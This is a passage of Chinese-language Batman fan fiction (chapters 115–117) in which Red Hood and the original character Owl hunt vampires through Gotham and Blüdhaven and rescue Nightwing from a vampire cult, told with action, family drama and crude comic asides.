滚回去，不管你想干什么，布鲁斯你在和危险共舞，滚回去做你的阔佬，享受你的父母为你留下的财富，随便花掉小钱去贿赂那些手握权柄的蛀虫，让他们想办法判小丑死刑，或者花点大钱请几百个雇佣兵把小丑轰成渣，你明明有那么多可以解决问题的办法却始终选择那条在哥谭最天方夜谭的路，为什么不自私一点，为什么不多为自己考虑，为什么要像圣人一样献祭自己，从而使得这些本该做普通人的小孩纷纷效仿。 为什么要成为英雄！ 那些争论最后往往变得歇斯底里，那些愤怒委屈崩溃全部爆发，将红头罩的理智尽数带走，只剩下那个八岁的身材矮小的杰森好不容易蹦了出来，从石头一样最硬的红头罩的身体里探出了头，梗着脖子看着穿着装甲的蝙蝠侠，小心翼翼的询问。 “布鲁斯，我对你不再重要了吗？” 这种沉溺在情绪中的状态并不正确，但杰森无所谓了，那些从一开始就存在的分歧始终横贯在蝙蝠侠和红头罩之间，这些理念上的冲突根本不可能依靠几次谈话得到解决，鲜血和斗争或许才是答案。 但没关系，至少红头罩会证明，只有用更暴力的手段才能真正的解决来自哥谭内部的矛盾。 那些纷乱的思绪在眼前飘个不停，杰森的意识开始昏沉开始沉进睡梦之中，就在这时隔音比超人的魔抗蝙蝠侠的厨艺还烂的墙体穿透出存在感过强的肢体碰撞声。 不知道哪里来的混混不睡觉在凌晨四点在楼道里肉搏？ 凌晨四点！ 蝙蝠侠凌晨四点都快要回家睡觉了，到底是谁这么无聊。 杰森跨过地上那个圆润的像是颗变异大番茄的头罩，一把推开了安全屋摇摇欲坠的铁门打算给那几个打扰红头罩清梦的家伙一人一拳，也就在这时，几个人对上了眼。 好消息，不是混混。 坏消息，是*****的红罗宾和猫头鹰在楼道里抱着亲嘴。 两人完全没管杰森发出的动静，尤其是猫头鹰格外有劲一只手将替代品按在墙上另一只手抬起着人的下巴打啵。 两人亲的专注，亲的火热，只留下红头罩满腔的怒火被莫名其妙的扑灭，迷茫地看着这对野鸳鸯在***的公共区域偷情。 三分钟过去，无人在意没带红头罩的红头罩。 五分钟过去，依旧无人在乎被吵醒的红头罩。 十分钟过去了，红头罩甚至提不起一丝愤怒甚至有点想笑，最后果真冷笑一声重重的将门拉了回来。 而此时，杰森才意识到自己对于时间的估计应该有些误差，比起模糊得出的四点的结论，显然此时已经到了五点半甚至有超过六点的趋势，尤其是从窗户透入的显然不在深夜出现的光亮。 那是，太阳吗？ 被气到肝疼的杰森干脆用冷水洗了把脸，下楼找到最早开门的咖啡店要了最大份的早饭配合咖啡，吃饱喝足后长腿跨过不知道哪个倒霉蛋没锁的机车，一拧油门暂时离开了满是黑历史和破事的伤心地。 杰森很久没有用双脚在这片土地上行走了，平日里青年总是行色匆匆的赶在成为犯罪皇帝，与蝙蝠侠作对这两件事上，像是现在这样将机车停靠在一边如同散步一样形式仿佛是上辈子的事一样遥远。 清晨，天还蒙蒙亮，藏在树冠里的小鸟叽叽喳喳的叫了起来，让那些糟糕的情绪暂时平和了下来。 战术靴上或许还残留着昨天的血迹，无所谓了，GCPD又不会突然蹦出来把没带头罩的红头罩当作超级大反派带走发射上太空，至少现在杰森并不想在去思考那些麻烦事。 东区依旧是记忆里那个样子，似乎没有任何变化，如果说哥谭是个喜欢用繁华和财富来装饰自己实则包藏祸心的毒妇，东区大概率就是她的毒牙，能让任何一个猎物挣扎着死去，而那些真正让哥谭陷入混乱和混沌的杂种？自然是储存毒液的毒囊了，看似人畜无害，实则五毒俱全。 平和的气氛很难在哥谭维系太久，不过几步杰森就察觉到一股浓重的死气，那种无论是死去几年严重白骨化的的尸体，还是被泡了几个月严重巨人观的浮尸，抑或是刚咽气的新鲜尸体，总会带着死亡的气息。 杰森不太好描述，比起气味更像是一种感觉，一种失去生机毫无希望的感觉，在刺客联盟自己接触到了足够多的尸体，多到让自己能够在一堆混杂的气味中精准的找到属于死亡的气息。 这在哥谭算不上稀奇，但杰森还是保持了足够的警惕心，一步一步的接近那个处于视野盲区的拐角处，随着视线的转移，青年看到了一具倒在地上的尸体，以及跪趴在尸体的脖颈处的怪物。 那怪物只是抬头，仅仅是从嘴角不断滴落的鲜血还是过分苍白的皮肤，杰森便下意识伸手探向枪带处的双枪。经验算得上丰富的青年只以为是嗑多了药发疯袭击他人的瘾君子，可下一秒那东西竟发出一声足够尖锐的尖叫声，随后以普通人类完全无法发挥出的速度向青年冲了过来。 连开两枪后前刺客意识到这家伙完全不可能是人类，金属子弹没有造成一丝该有的伤害，仿佛打在了铁板上一样，落在了地面上，来不及思考杰森下意识向后背伸手，随后那两把带着火焰的大种姓之刃出现在手中。 那吸血的怪物毫无恐惧，甚至故意向武器的方向冲去以展示自己的强大，可就在身体触碰到刀刃上的火焰的那刻，便传来了更加尖锐刺耳的尖叫声，而杰森则顺势砍下了怪物的脑袋。 在头颅落地的那刻起，连带着一边的身体也跟着化成了灰，只留下杰森和那具被吸干血液的尸体还停留在这座巷子里。 虽然知道世界上存在无名恶魔这种东西，但肉眼看到如同传说中吸血鬼一样的怪物存在在哥谭还是有点太小众了，现在的义警要对付的东西的战力已经从精神病上升到神话传说里的怪物了吗？是不是有些太超纲了。 真的没有人吐槽战力膨胀的太厉害了，之后不会还有来自外星的奥特曼和变形金刚吧。 等等，克苏鲁是不是也是外星人。 对了，哥谭还真**的有个阿卡姆。 那可真是太巧了，哈哈，你说怎么会有这么巧的事啊。 郁闷的杰森靠在墙边从裤子的口袋里摸出还剩下一根烟的盒子，将那根烟叼在嘴里满世界找打火机，最后好不容易在刚刚还热乎现在已经硬了的尸体兜里找到了一包火柴，只可惜火柴的盒子被泡软了，青年擦了半天也没见半点火星，只能崩溃的将那根完整的烟和火柴盒一起扔在了吸血鬼化成了那堆灰尘里。 真是操了蝙蝠侠了，给我干哪来了。 这还是哥谭吗？ 第115章 红头罩创业记（中下） 红头罩只是一个初出茅庐的黑老大, 比起处理那些不知道是不是从隔壁范海辛跑出来的飞天吸血大蝙蝠精不如想想怎么把企鹅人打到把手下的资源吐出来，比如说冰山餐厅，别的不说至少这家饭真的很好吃。 但杰森只要一闭上眼睛, 那具被当作椰子吸得干干净净就差插根吸管的苍白尸体再次出现在了眼前，这样的事在哥谭绝非个例，或许还有其他的倒霉蛋成了被选中的外带快餐在某个角落里被吃得干干净净。 养过蟑螂的朋友们都知道, 当你在家里看到一只蟑螂时, 就有很大的概率能看到蟑螂四世同堂的震撼场面，杰森甚至不敢想象这座城市藏着多少这种把人类当香辣鸡腿堡看待的吸血鬼。 为了防止真的出现吸血鬼无限繁殖占领地球的恐怖片剧情发生，杰森开始了调查。 那个被吸血致死的倒霉蛋叫做霍华德.肯尼，是个平平无奇的上班族, 和哥谭那些动不动喜欢给人改花刀的神经病以及混黑的家伙扯不上什么关系, 唯一有些联系的可能是这是个控制不住自己下半身的进化不完全的人, 因而大多数卖春的姑娘都对他颇有印象。 其中有个叫佩妮的棕发姑娘在吐槽的时候回忆起这个抠门的家伙满是嫌恶，带着雀斑的脸上眉头紧皱，随后给明显是优质客户的杰森提供了一条新的线索。 据说最近不少酒吧里都多了新的玩法, 比白粉危害小成本还低, 只要几百块就能体验醉生梦死的快感, 最多身上多几个针孔一样对称的洞，也没什么损失。佩妮的不少老客户都受不了诱惑跑去尝鲜, 只留下佩妮一个人到了午夜还没接到客, 也因此拉着显然路过的肥羊杰森倒起了苦水。 杰森看似漫不经心的搭话实则诱导眼前的女人说出了更多消息, 同时身体向后躲开了女人放在自己胸口上揩油的涂着红色指甲油的手。 确认得不到更多消息后, 青年从口袋里掏出剩下的纸币一股脑塞在女人手里，随后扬长而去。 最近的酒吧似乎是企鹅人的地盘, 杰森还没从罗宾这项纯用爱发电的工作毕业时就略有耳闻, 相比那些白粉血浆满天飞的酒吧, 企鹅人的酒吧有一个其他酒吧都没有的特点，那就是贵。 老天，一杯莫吉托寻常酒吧最多20刀，企鹅人敢在这个数字加上两个零，除了人傻钱多的阔佬杰森很难想象怎样的人会去这种地方买醉，但这招也有效的将那些穷鬼拒之门外，只留下为了谈合作的哥谭各区的教父，他们的马仔，以及肆意挥霍财富享乐的富家少爷。 而那些不知道用什么手段吸血还能让受害者爽到起飞的吸血鬼自然也是其中的常客。 那么现在最至关紧要的行动是什么呢？ 那自然是，整点薯条。 从发现尸体到现在过去十几个小时，杰森肚子里只有早上那顿经典的培根煎蛋豆子的早饭加上一杯足够提神的咖啡，除此之外就只有来自哥谭湾的西北风，因而大名鼎鼎的红头罩早就饿的前胸贴后背完全顾不得什么几分熟的问题，恨不得追着牛屁股啃。 只可惜午夜的哥谭没有光着屁股的牛，只有一个饿的急眼的红头罩狼狈的走进快餐店刚想点餐就再次发现自己身无分文的贫穷现状，在摸遍全身都凑不出二十块的绝望时刻时，杰森的的视线里出现了一个带着面具的身影。 “老样子。”猫头鹰从兜里掏出一大把零钱，随后歪头上下打量着红头罩“他的也一起付。” 被比自己年纪小的前同事请吃饭的感觉非常尴尬，尤其是这位前同事手里还掌握了整个蝙蝠家族的夜宵的时候，只要她一声令下就算是蝙蝠侠今晚也得饿着肚子夜巡。 红头罩目送着临时cos外卖员的一天前还在围观红头罩蝙蝠侠小丑爱恨情仇名场面的搅局者提着两大袋吃的离开，而身边那个矮了自己一头的猫头鹰则没有一点离开的迹象。 “你得报答我。”猫头鹰的语气没什么波动像只真正的鸟一样歪着脑袋用那双金色的眼睛注视着眼前的青年“我的任务目标混进了酒吧，我进不去。” 这时杰森才想起来，不管猫头鹰怎么冷酷无情，证件上的索菲亚依旧只是一个十六岁的未成年，尤其是亚裔的长相debuff更是显得女孩像是小学没毕业的幼女。 难怪店员的眼神里带着鄙视，这不就是一个没钱吃夜宵还要小孩花钱的恋童癖软饭人渣吗？ “你知道你是个未成年吧。”杰森下意识挑眉自动打开了嘲讽语气“乖宝宝回家去吧，你的小男朋友该担心了。” “没办法，他们不认可我做利爪的二十年经验，不然我就有三十六岁了。”索菲亚没有反驳反而顺着话题继续往下说“最近吸血鬼的动向很奇怪，我之前和红罗宾好不容易摸清了他们的动向，结果大多数被关注的吸血鬼都失去了踪迹，剩下的一小部分今晚就在那家酒吧里聚会。” “带我进去。” 杰森实在不愿意回想起自己是如何顶着门口几个西装门卫看人渣的表情带着换了身裙子的索菲亚进了酒吧，蝙蝠侠在上，为了避免肢体接触杰森的胳膊完全架在空中摆出一副足够奢靡的富二代姿态，而临时作为sugar baby身份被带进来的索菲亚极力摆出一副对于金主的完全崇拜，只有杰森自己知道那双戴了美瞳的眼睛里一片空洞。 刚进入酒吧内部，杰森就跟被烙铁烫了一般飞速收回了手，随后开始找那群吸血鬼聚众派对的位置。 一片黑暗中霓虹灯格外刺眼的光污染将那些舞池里欢呼的男男女女照耀的格外扭曲，杰森能清楚的看到某个将手放在身边女性屁股上的男人，也能看到在欢呼之下一边脱下衣服进入舞池中央抛弃一切廉耻和道德企图用身体换取金钱的家伙。 杰森看到那头长发和足够性感的服饰本以为是个走投无路决定卖身的女性，但看到那足够大包的下面后，青年下意识捂住了索菲亚的眼睛。 “有脏东西别看。” “是男娘吗？还是扶她？让我看看。”索菲亚挪动着脑袋想要看个究竟，杰森只能跟着挡着这个未成年的眼睛防止小猫头鹰看到脏东西长出针眼一边尖叫一边找蝙蝠侠告状。 没有营养的dj音乐格外的嘈杂，索菲亚皱着眉头捂着耳朵穿过人群像条尾巴一样跟在杰森身后，但面对那些带着恶意和欲望的眼神猫头鹰反而没任何反应，摆出一副足够顺从的小女孩模样。 绕开人群，两人很快确定了那帮吸血鬼的位置，那是一个足够隐蔽的包厢，大多数企鹅人的贵客都会选择这么一个足够尊重隐私的地方交谈，但对于时常需要和罪犯打交道的蝙蝠侠来说反而成了每次必查的场所，只要涉及到企鹅人就连罗宾都会下意识黑入这家酒吧的系统翻个底朝天。 杰森顺手将路过的服务员打晕拖进了男厕所换上了对方的衣服，只是均码的衬衫实在难以承担红头罩过于饱满的胸肌，只凭借胸前第三颗扣子苦苦支防止出现过分慷慨的袒胸露乳场面。 索菲亚没管过分慷慨的杰森，在男厕所看了又看最后拆掉了通风管道的遮挡物顺着爬了进去，对杰森打了个手势，里应外合。 离开前，少女在制服的腰带里掏了掏，掏出一大盒银质子弹交给杰森，看着青年把子弹替换后才满意的钻进了对红头罩来说有些狭窄的管道里进行潜伏。 套上那件质量算不上好的衬衫已经是强人所难，杰森只能略微调整体态让自己显得没有那么强的攻击性，端着这帮吸血鬼要求的血腥玛丽进了那个神秘的包间。 青年能闻到浓烈的血腥味，那股新鲜的生命流逝的气味蔓延在整个包厢里，在开门的那刻起那群红着眼睛的吸血鬼的注意力全都被吸引了进来，不等杰森反应，不知道什么时候出现在身后的男性吸血鬼已经关上了包厢的门。 正在交谈着的对话戛然而止，所有人都看着杰森一步一步的端着血腥玛丽走进包厢的最中间，作战靴的鞋跟踩在纯黑的瓷砖上的声音有些沉闷，也就在这时杰森突然意识到——怎么会有穿着作战靴来送饮料的侍从，大意了。 那只在杰森身后的吸血鬼贴了上来用尖锐的指甲隔着衬衫和马甲轻抚青年足够宽厚的脊背，同时尖牙缓缓伸长的声音一同响起，青年不动声色的摸向了枪带里装满了银质子弹的配枪。 所以送酒只是个幌子，送酒的人本身就是企鹅人赠送的外卖不是吗？ 扣下扳机的瞬间，银质子弹从枪口发射而出，射穿了身后那只脸上还挂着傲慢笑容吸血鬼，比起普通人来讲这家伙的长相除了更消瘦更苍白外，杰森看不出其他区别。 伴随着尖叫声第一只吸血鬼化成了灰烬，随后头顶的通风管道处金色的眼睛眨了眨，一跃而下，将手里的长刀贯穿了另一只蠢蠢欲动的吸血鬼。 “下次就不是铜剑了。”索菲亚站了起来环视四周“没想到这场聚会的人会这么少，你们的姊妹呢？” 猫头鹰向着杰森的方向走近，吸血鬼慢慢的远离二人，随后那只刚被索菲亚捅了一刀的吸血鬼咬着牙质问道。 “你杀了我们的同胞还如此的理直气壮，猎人我们为什么要回答你的问题。” “我不介意都杀干净，毕竟在座的各位也没几个屁股干净的。奥莉娜，昨天被你吸干的女孩刚被发现，蝙蝠侠应该记住你了。强尼对吧，你以为把尸体扔进河里就不会被发现吗？有个钓鱼佬凌晨四点把你没吃干净的部分捞了上来。” 索菲亚用手指挨个点了一遍，随后叹了口气。 “我不想翻旧账，有些事糊涂一点大家都好，毕竟我只是想知道那些选择离开的家伙的动向，没有打算把各位都绑在火刑架上送你们去见耶稣。又或者我们找蝙蝠侠来主持正义怎么样？可以放心，蝙蝠侠打人不痛的。” 现场沉默了许久，其中一位吸血鬼给出了答案，索菲亚倒真的如同承诺的那样堵在门口目送那群吸血鬼挨个离开这个充斥着吸血鬼死后化成的灰尘的场所。 “你就这么放他们走了？”杰森收起了枪问道。 “别告诉我你没给他们身上放定位。” 两人对视后默契的把定位的数据同步给了神谕和红罗宾。 根据那位用于出头的吸血鬼的说法，美国境内的吸血鬼划分出了诸多派别，那些通过人名命名的派别两人没一个听明白的，但大概能通过激进派，中立派和保守派来进行大致区分。 这一任的吸血鬼女王是个颇为温和的保守派，虽然没有到高举爱和和平旗帜的地步，但也呼吁手下的吸血鬼不要和人类挑起太大的争端，主张和平共处。 但这种堪称软弱的行为在族群的内部算不上受欢迎，大多数吸血鬼大多对于女王的行为心怀不满但碍于对方首领的身份则不得不被迫捏着鼻子接受了这些要求，但激进派的声音从来没有消失，甚至近些年愈演愈烈，和人类的矛盾已经放大到一触即发的地步。 而那些失踪的吸血鬼选择了响应激进派领主潘多拉的号召，进行一项无比伟大的计划。 具体伟大的计划是什么？这帮被剩下的软弱吸血鬼也说不上来，再说了就算加入领主的计划大概率也只能当炮灰，不如继续在深夜捡尸醉酒的人群偷吃一口来得实在。 不知道该吐槽哥谭本土的吸血鬼是不是过于窝囊，杰森想了半天也没找到吐槽的话。 而猫头鹰得到想要的信息后一溜烟跑了，只留下还没来得及把银质子弹退出来还给猫头鹰的杰森愣在原地。 第116章 红头罩创业记（下） 潘多拉把那项伟大计划的目的地放在了布鲁德海文, 显而易见那里是杰森的大哥迪克的地盘。 时至今日，迪克突然撕开霸王龙皮套变身夜翼抄起带电的卡里棍扑过来的场景还是给杰森造成了不小的冲击，就是说没有更体面的卧底方式了吗？ 蝙蝠洞后来才加入这个家的几个小孩或许还不知道, 这个家脾气最暴躁的人从来不是自己，也不是蝙蝠侠，如今看起来一派和气的迪克在叛逆期的时候, 真的是见谁干谁。 还是个豆芽菜的杰森刚成为罗宾没多久就和这位大哥大打出手, 当然这是美化后的版本，实际上没经过训练的菜鸟罗宾在完全体罗宾面前完全就是游戏里小怪的战斗水平，不能说有来有回，也能算得上毫无难度。 并且这位怪力罗宾力气大的吓人, 就算是蝙蝠侠挨上两拳都得倒吸着凉气给自己上药, 更别说除了勇气没有其他手段的杰森。 好在迪克是一个道德感很高的人, 才没对突然出现在家里的二胎痛下杀手。 再加上这位大哥是出了名的交际花，不管是少年泰坦还是少年正义联盟，都充满了迪克的好朋友和前女友这一复杂的人员构成。杰森作为罗宾时倒是想融入这几个小团体证明自己, 但努力几年发现毫无进展后, 终于发现了小组作业就是傻*的精髓, 毅然决然的踏上了单干的道路。 杰森就是要一个人单枪匹马的成为哥谭教父，之后不管是蝙蝠侠, 夜翼, 红罗宾还是罗宾, 见到红头罩都要尊称一声教父。 但那么多吸血鬼聚在一起搞这个烂俗的伟大计划总不能只是开大银趴吧, 不说要给夜翼一点颜色看看，好歹也得定个统治布鲁德海文的目标, 才能不辜负把这一车车的面包人聚在一起的艰难困苦。 不管怎么说杰森都打算过去看一眼, 要是顺便路过深陷麻烦的夜翼, 自己也可以拍照留念之后进行嘲笑。 不过在离开前杰森轻而易举地黑进了那几个义警的通讯频道，开始在蝙蝠电脑内部的资料库寻找有关吸血鬼的情报，和预想的不同蝙蝠侠对于这些不速之客可以说是完全的了如指掌，像是这次聚会里的几个大多都上了蝙蝠侠的观察计划，除此之外几个生活在哥谭底层隐藏的还不错的非人类也被蝙蝠侠挖了出来重点关注，像是狼人啊，精灵啊，炼金术士啊。 一时之间哥谭的种族丰富程度让杰森以为自己在看《指环王》，不会过几天还有长着大胡子爱喝酒的锻造大师矮人族在哥谭出没吧，这里难道不是悬疑推理冒险主题的故事吗？哪来的西方幻想。 顺手黑进了另几个频道，其中一个全是女孩子的频道里，杰森找到一份算得上庞然大物的文件，抱着搜集情报的态度青年点开了那份文件。 “造谣，一定是造谣，蝙蝠侠怎么可能是0，该死的嬷嬷！” “这里是哥谭，到底谁在嬷蝙蝠侠！” 被大量□□碰撞文学所冲击的杰森陶德几乎能感受自己的灵魂受到了巨大的冲击后碎成了无数片，此刻正随着呼啸在身侧的冷风拍打在头盔上，此时恰到好处的下起了小雨，让骑着机车疾驰在公路上的青年显得更加忧郁和悲伤，蓝色的底色中混杂着略显浑浊和妖异的绿色眼睛苦苦支撑着，平静的看着眼前不断绵延的公路，内心却有无数想法掠过。 “为什么要嬷蝙蝠侠？” “为什么要打开那个文件接触到女孩子不为人知的秘密？” “我从来没觉得做罗宾开心过。” 冷冷的冰雨拍打在头盔上，仿佛一场格外悲剧的舞剧，杰森的印象里还记着十三岁时和布鲁斯难得放下蝙蝠侠和罗宾的身份，只是作为父亲和儿子去看的那场《茶花女》，美丽的玛格丽特如何满心欢喜送上了代表自己的爱情的白茶花却只能迎来枯萎的结局，年幼的杰森被那深刻厚重的悲剧所感动几乎流下泪水。 但这不代表要吃蝙蝠侠茶花女塑啊，再不济也应该是佐罗或者救世主这样的塑造才能配合得上导师为了哥谭近乎无限自我牺牲的形象，但就是说女孩们完全倾注了感情的描写完全打动了一向热爱文学作品的杰森，就算不愿意承认但青年还是咬牙闭眼安静的吃上了一口。 真是草了蝙蝠侠了，还挺好吃。 直到进入布鲁德海文市区，杰森将那些狗血劲爆的故事全都压在了心底，继续开始调查。 如果是吸血鬼文学盛行的19世纪，想要寻找这群神秘莫测的怪物的身影完全是天方夜谭，但现在可是科技时代，在监控之下就连氪星人一不小心都得留下信息，又何况是依赖于人血而生的吸血鬼。 只要存在在这个世界上，就一定会留下踪迹。 首先熟门熟路的黑进布鲁德海文警局的内网，把所有的情报全都翻了一遍，果然因为大批吸血鬼的聚集失踪案也变得密集了起来，但比起哥谭那群动不动就一时上头就把人物理层面上吃干抹净的蠢货，布港的吸血鬼要谨慎得多。 在吸血适量的鲜血后就将失去意识的受害者扔了出去，伪造出嗑药磕多或者酗酒造成的迹象，因而布港目前只有两起案件真正出现了人员死亡的情况。 杰森将发现受害者的位置在地图上进行了标记，通过相重合的区域来寻找这群吸血鬼的落脚之地，这属于在刑侦手法中常用的判断罪犯活动范围的手法，但如果调查对象是力大无穷能端着几百斤的尸体跑马拉松的嗜血怪物的话，这个方法的准确度也得大打折扣，但聊胜于无。 不过好在杰森还有其他办法。 “我上有八十岁老妈，下有八岁儿子，我老婆卧病在床，我还得给我爸爸交学费，等会还得去接我奶奶放学，您还想问什么？我知道的一定都说。” 眼前带着针织帽的混混被倒掉在路灯上，全身的体重都只靠被捆住的左脚支撑，哭的声泪俱下，完全看不出几分钟以前手持水果刀想要从杰森身上搞点钱花花的嚣张模样。 杰森没怎么说话一边擦枪一边听着男人像是参加雅思口语考试一样疯狂向外输出大段的长难句，直到听到了有关前几天尸体的事才拉回了注意力。 “吸血鬼的事保真吗？” “这我哪知道，但保不准就是真的，前不久酒吧街上不少人喝到神志不清，等被发现脖子上顶俩大洞，不至于立马就死了，但也得在医院躺上好几天。就原本要跟我一起打劫的戴维，他运气好点只是少了点血，不像之前卖春的莉莉，直接就横死街头了。” “要我说酒吧里之前的小白脸肯定是吸血鬼，瘦的像竹竿一样眼睛直冒绿光，就该让夜翼把这群吸血鬼全打一顿。” “其他地方呢？”杰森收起手枪继续询问道。 “别的地方没听过有人说这事。”混混想了几秒才回答，但很快就又想起来现在的处境泪流满面“您的问题我都答了，您就高抬贵手放我下来。” “等等吧。”杰森抬头看了看橘黄色的天空转身离开“再过几个小时夜翼就会放你下来了。” “可是，夜翼前几天就没出来——” 男人的话还没说完，杰森的心脏如同擂鼓一样咚咚咚跳个不停，对义警来说有那么几天不夜巡处于失踪状态不算少见，但此时夜翼这连失踪都算不上的状态给杰森敲响了警钟。 杰森重新翻阅频道里的记录，发现这段时间几乎没有夜翼在频道内的消息，吸血鬼的破事和夜翼此时的失踪状态相重合，大脑自动开始展现大哥被吸血之后如何被见色起意的吸血鬼吃干抹净的香艳画面。 虽然两人的相处大多数时候都算不上友好，但杰森还是没办法眼睁睁看着迪克顶着那对足够有特色的翘臀暴尸布港街头，到时候大家都会知道翘屁股的夜翼被吸血鬼吸死了，这也太丢人了吧。 想找吸血鬼不算容易，但去找夜翼却实在算不上难题。 据杰森了解，迪克身上的皮下注射的定位器应该还在运行中，虽然迪克叛逆期曾经将这小东西挖出来以作为反抗，但杰森猜测迪克的浑身上下不可能干干净净。 只要那只黑漆漆的家伙想，蝙蝠侠总会有办法知道大家的位置。 根据皮下定位的显示，夜翼最后出现的位置是布鲁德海文当地的一家废弃已久的疯人院，这座哥特式的可以随时拿去拍暮光之城的建筑远离市区，但是恰好的位于杰森之前通过尸体所判断的行动范围边缘位置，人迹罕至的环境下也难怪没邻居投诉吸血鬼聚众举办蹦迪派对。 看来迪克也不是完全对于吸血鬼的事一无所知。 杰森检查了浑身的装备，银质子弹剩下了不少，除此之外就只有那对需要氪命进去的大种姓之刃，不说其他的，作为在棺材里有多年丰富仰卧起坐经验的死罗宾，杰森对于自己的血条厚度有一定程度的自信。 通过钩爪枪飞跃至建筑高处，杰森蹲下通过镂空的天窗用便于携带的扫描设备判断内部的人员分布情况，结果就听到了熟悉的声音再次响起。 “里面鬼很多吗？” 猫头鹰的脑袋出现在杰森眼前，随后带着黑色披风的少女和杰森再次对上了视线。 “提米发现夜翼失去了联系让我来看一眼，我的重现魔法找到了这里。” 猫头鹰看了看下面密密麻麻的人头，又看了看几乎单枪匹马冲过来的杰森叹了口气，随后把口袋里的银质子弹都掏了出来挨个数了一遍之后尽数塞给了杰森。 不仅如此，少女还带了几个被装满的矿泉水瓶分给了杰森。 “这是喝的水吗？” “可以喝，如果你渴的话。”索菲亚点了点头随后补充道“不过圣水还是拿来处理吸血鬼更划算一点，想喝水的话可以找个水龙头。” 不知道为什么和猫头鹰在一起杰森总是会从单枪匹马挑战全世界的孤胆英雄转变为玛卡巴卡的儿童频道，可能是猫头鹰自带的很难死掉的buff很大程度削弱了关于死亡的残酷性，太棒了这里现在有两个热衷于死去活来的人还都喜欢拿鸟当代号，这就是天赐的缘分。 杰森一眼扫去大概估计了吸血鬼的数量，而索菲亚同样得到了答案，随后抽出了身后的长刀。 深吸一口气，两人一前一后从天窗跳了进去，杰森手里的子弹几乎没有浪费，大多数在吸血鬼尖叫之前就送这群家伙升天，猫头鹰完全不负前刽子手的身份镀银的长刀一刀一个，不出片刻就将这一层被当作炮灰利用的吸血鬼清了个干净。 杰森能感觉到手下的这群吸血鬼还只是些小喽啰，但现在当务之急比起把吸血鬼一网打尽更重要的是怎么在夜翼失去清白前把他从吸血鬼的魔爪里捞出来。 颇为精通建筑学知识的杰森将脑内的大致判断出来的分布图和热成像展现出来的吸血鬼分布情况进行比对，轻松判断出了夜翼的位置。 一路如同砍瓜切菜一样的体验实在过于解压，杰森几日来紧绷的心情放松了很多，脑内早早想好了等会如何拍下迪克的糗照并大声嘲笑一时大意被绑走的大哥。 人员最为密集的场所是曾经这所疯人院聚会的礼堂，结合那些哥特文学吸血鬼所展现的神秘优雅的偶像包袱，杰森倒是能理解为什么会选择这里作为大本营，只是看热成像的画面，那个十字一样的东西是什么？是要把夜翼绑在十字架上钉死来cos耶稣吗？ 不是，这么多姑娘爱而不得的男人你不拿来搞大银趴而是选择把他杀了祭天是不是太暴殄天物了，丧钟看了泪水直接从嘴里流了出来好吗？ 你对得起蝙蝠侠等会过来打你们的铁拳吗？ 当真正一脚踹开大门举枪对着那群披着黑袍双眼通红的吸血鬼射击的时候，看到衣衫褴褛到只有几块破布勉强遮挡住身体，浑身上下布满血痕，因为失血过多几乎昏迷的夜翼时，杰森的大脑中除了嘲笑还是涌现出了出自女孩子之手的嬷嬷文学。 战损，病弱，英雄母亲，这些关键词在大脑中不停的旋转，最后化为了更加汹涌的对于男性□□进行欣赏的凝视视角。 是个男义警就容易被嬷，这样的事情不要啊！ 杰森在头罩里大喊一声随后冲进吸血鬼群之中，一路直冲到夜翼面前将男人解下扛在自己的肩膀上，还不忘对着虎视眈眈的吸血鬼补上几枪。 “红头罩，你怎么在这？” “要是死在这里或者变成了吸血鬼那也太丢人了吧dickhead。”杰森压低了嗓音带着迪克闪避过吸血鬼的攻击，侧身一枪打爆了对方的脑袋。 “虽然不知道你是谁，但还是谢谢你……” 而另一头猫头鹰正在拿着长刀进行劈砍，力求每一刀都落在实处，杀的七进七出，时不时还补上几个魔法。 “我还是第一次见这么多吸血鬼。” 猫头鹰的声音传了过来。 “谁不是呢？我**上次见这么多吸血鬼还是**的暮光之城。” 如同潮水一样不畏惧疼痛也不畏惧死亡的吸血鬼源源不断地袭来，红头罩好不容易扛着几乎失去战斗能力只能cos挂件的夜翼退出了礼堂，看着比草坪里的青草还茂盛的吸血鬼几乎眼前一黑，干脆用空着的手取下了头罩按下了炸弹的引爆键，以一个极度优美的抛物线将自己颇为喜爱的头罩扔了出去。 夜翼看到了杰森头罩下的脸几乎愣在原地，那双疲惫的蓝色的眼睛里满是震惊，杰森还没来得及从嘴里扯出更多嘲讽的话语，就被震耳欲聋的爆炸声所打断。 两人被热浪掀起，夜翼倒在地上彻底失去了意识，而杰森看着再次围上来的吸血鬼拔出了身后带着火焰要燃尽一切罪恶的大种姓之刃。 就像是当初选择成为罗宾一样，现在杰森陶德举起武器选择战斗，不是为了逃避和无谓的杀戮，而是为了保护他人。 —————————— 红罗宾和蝙蝠侠的支援来的有些太快了，尤其是蝙蝠侠带着一大桶圣水来的时候就连见多识广的杰森也不免觉得好笑，回忆起早期和迪克一起行动还会莫名其妙掏出一大罐驱鲨剂的老蝙蝠，杰森只想吐槽，蝙蝠侠很神奇吧。 杰森不太愿意和那些熟人见面，奈何猫头鹰是个杀上头就不管不顾的小疯子，完全不管夜翼的死活，杰森只能硬着头皮等到蝙蝠侠到达现场。 一切尘埃落定，似乎到了该离开的时候，那种合家欢的温馨故事不适合一心只有复仇和疯狂的红头罩，杰森强制自己收回盯着蝙蝠侠的视线，一步一步的挪动着位置打算随时潇洒的离开。 只是比杰森更快的，是出现在通讯器里阿福的声音。 “我想，杰森少爷不会错过今晚的聚餐不是吗？” 杰森下意识想到了无数可以拒绝反驳的话语，但那道自己再熟悉不过的视线时隔一年再次投在自己的身上，顺着视线属于导师那双钢蓝色的眼睛里此时只有杰森一人。 那些带着尖刺的话最终被咽了下去，杰森从来没办法拒绝阿福的邀请，也没办法拒绝蝙蝠侠。 而索菲亚站在一旁，看着戴着面具的红罗宾对着这对父子拍了又拍，终于满意的放下了随身携带的便携相机。 “你说他俩吃饭的时候会吵架吗？” “说不准。”少年耸了耸肩膀“没办法义警家庭就是这样的。” —————————— 1.吃完了饭杰森果不其然关于不杀原则和蝙蝠侠大吵一架，随后骑着机车扬长而去发誓这个月底就把整个哥谭的反派都揍一顿当上哥谭犯罪皇帝，而蝙蝠侠站在窗户上看着杰森远去的身影默默的把对红头罩的应对措施加上了二十多条。 2.索菲亚站在门口再次发现有人莫名其妙骑走了自己的车 3.蝙蝠侠相关颜色文学火热更新中 4.某男子旷工三天后工资再次飞走了，可恶到底谁在有钱 第117章 一场约会 青春期到来的时机有些尴尬。 索菲亚身边的大多数朋友都经历过这个真正成年前的阵痛期, 身体上的生长痛，随着眼界的提高看到的事物与自我认知的冲突，和家人的矛盾, 对于懵懂爱情的渴望。 